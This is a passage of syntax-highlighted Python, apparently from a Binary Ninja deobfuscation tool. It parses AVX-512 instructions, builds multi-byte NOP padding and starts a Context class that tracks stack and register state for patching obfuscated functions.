</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">class</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title class_" style="color: #a31515; font-family: monospace; white-space: pre;">AddrRange</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(namedtuple(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'AddrRange'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, [</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'start'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'end'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">__repr__</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">self</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'AddrRange(start=<span class="hljs-subst">{<span class="hljs-built_in" style="color: blue;">hex</span>(self.start)}</span>, end=<span class="hljs-subst">{<span class="hljs-built_in" style="color: blue;">hex</span>(self.end)}</span>)'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
VmReg = namedtuple(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VmReg'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, [</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'zmm'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'idx'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">ex_broadcastq_vmreg</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">disas</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> VmReg(zmm_reg_idx(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), k_reg_idx(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]))
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">ex_compressq_vmreg</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">disas</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'zmm'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> VmReg(zmm_reg_idx(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">4</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), k_reg_idx(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]))
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> VmReg(zmm_reg_idx(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), k_reg_idx(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]))
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">ex_general_vmreg</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">disas</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> VmReg(zmm_reg_idx(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), k_reg_idx(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]))
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">ex_vpcmpq_vmreg</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">disas, flip=<span class="hljs-literal" style="color: #a31515;">False</span></span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> VmReg(zmm_reg_idx(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">4</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> flip </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]), k_reg_idx(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]))
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">get_equiv_cmp_op</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">disas</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] == </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'vpcmpq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> cmp_suffix[</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">5</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">16</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)]
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> equiv_ops[disas[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]]
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">tokenize</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">inst</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> inst </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">not</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> mapping:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> Inst.OTHER
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> mapping[inst]
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># https://github.com/intelxed/xed/blob/b53f33e44dd2e5fb2e63f9c0e35c65b72c933dae/src/enc/xed-encode.c#L460</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
nop_variants = [
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">bytes</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x90</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> ]),
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">bytes</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x66</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x90</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]),
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">bytes</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x0F</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1F</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]),
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">bytes</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x0F</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1F</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x40</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]),
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">bytes</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x0F</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1F</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x44</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]),
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">bytes</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x66</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x0F</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1F</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x44</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]),
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">bytes</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x0F</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1F</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x80</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]),
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">bytes</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x0F</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1F</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x84</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]),
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">bytes</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x66</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x0F</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1F</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x84</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x00</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])]
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">multi_nop_opt</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">orig</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(orig) == </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">b''</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
idx = </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">max</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">([(</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(n),i) </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i,n </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">enumerate</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(nop_variants) </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(n) <= </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(orig)])[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> nop_variants[idx] + multi_nop_opt(orig[</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">len</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(nop_variants[idx]):])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">class</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title class_" style="color: #a31515; font-family: monospace; white-space: pre;">Context</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'''
patching done through context - some guidelines
if rbp is initialized, then stack is also allocated from our compiler
we can replace the whole sequence starting from push rbp with enter new stack alloc
else, rbp remains uninitialized
we have two patching sequences - nop_patch and patch
the patterns of the obfuscator should almost always? emit something that's nop_patchable first
so in each nop patch, we check if the range would allow for an enter sequence, and then patch there
and replace pop rbp in the end with a leave
additionally, if there is never a push rbp, then it is most likely a leaf function with no vars
we should be able to just use rsp relative addressing
since we also do back patching later on if there are enough space, we have to keep track of
k-values whenever they are set or invalidated at their addresses - we use the original address here
rather than the adjusted address, and the stack offset querying should follow the same principle
'''</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">__init__</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">self, initial_stack_alloc, push_rbp_exists, rbp_initialized, initial_insts, func_addr</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
self.zmm = {z : {i : </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">range</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)} </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> z </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">range</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">32</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)}
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># can map to value none if result of non kmovb</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
self.k = {i : {} </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">in</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">range</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)}
self.initial_stack_alloc = initial_stack_alloc
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># the final 16 byte allocation is for the sake of scratch space</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
self.stack_size = self.initial_stack_alloc + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">32</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> * </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> * </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> + </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">16</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
self.push_rbp_exists = push_rbp_exists
self.rbp_initialized = rbp_initialized
self.func_start = initial_insts[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">].addr
self._scratch30 = </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
self._scratch31 = </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
self.push_rbp_addr = initial_insts[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">].addr </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> push_rbp_exists </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> push_rbp_exists </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">and</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (initial_insts[-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">].disas != [</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'pop'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'rbp'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">and</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> initial_insts[-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">].disas != [</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'leave'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]):
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">raise</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> Exception(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">f'Function epilogue not seen for function starting at <span class="hljs-subst">{<span class="hljs-built_in" style="color: blue;">hex</span>(func_addr)}</span> - adjust Binary Ninja analysis accordingly'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
self.pop_rbp_addr = initial_insts[-</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">].addr </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> push_rbp_exists </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">None</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
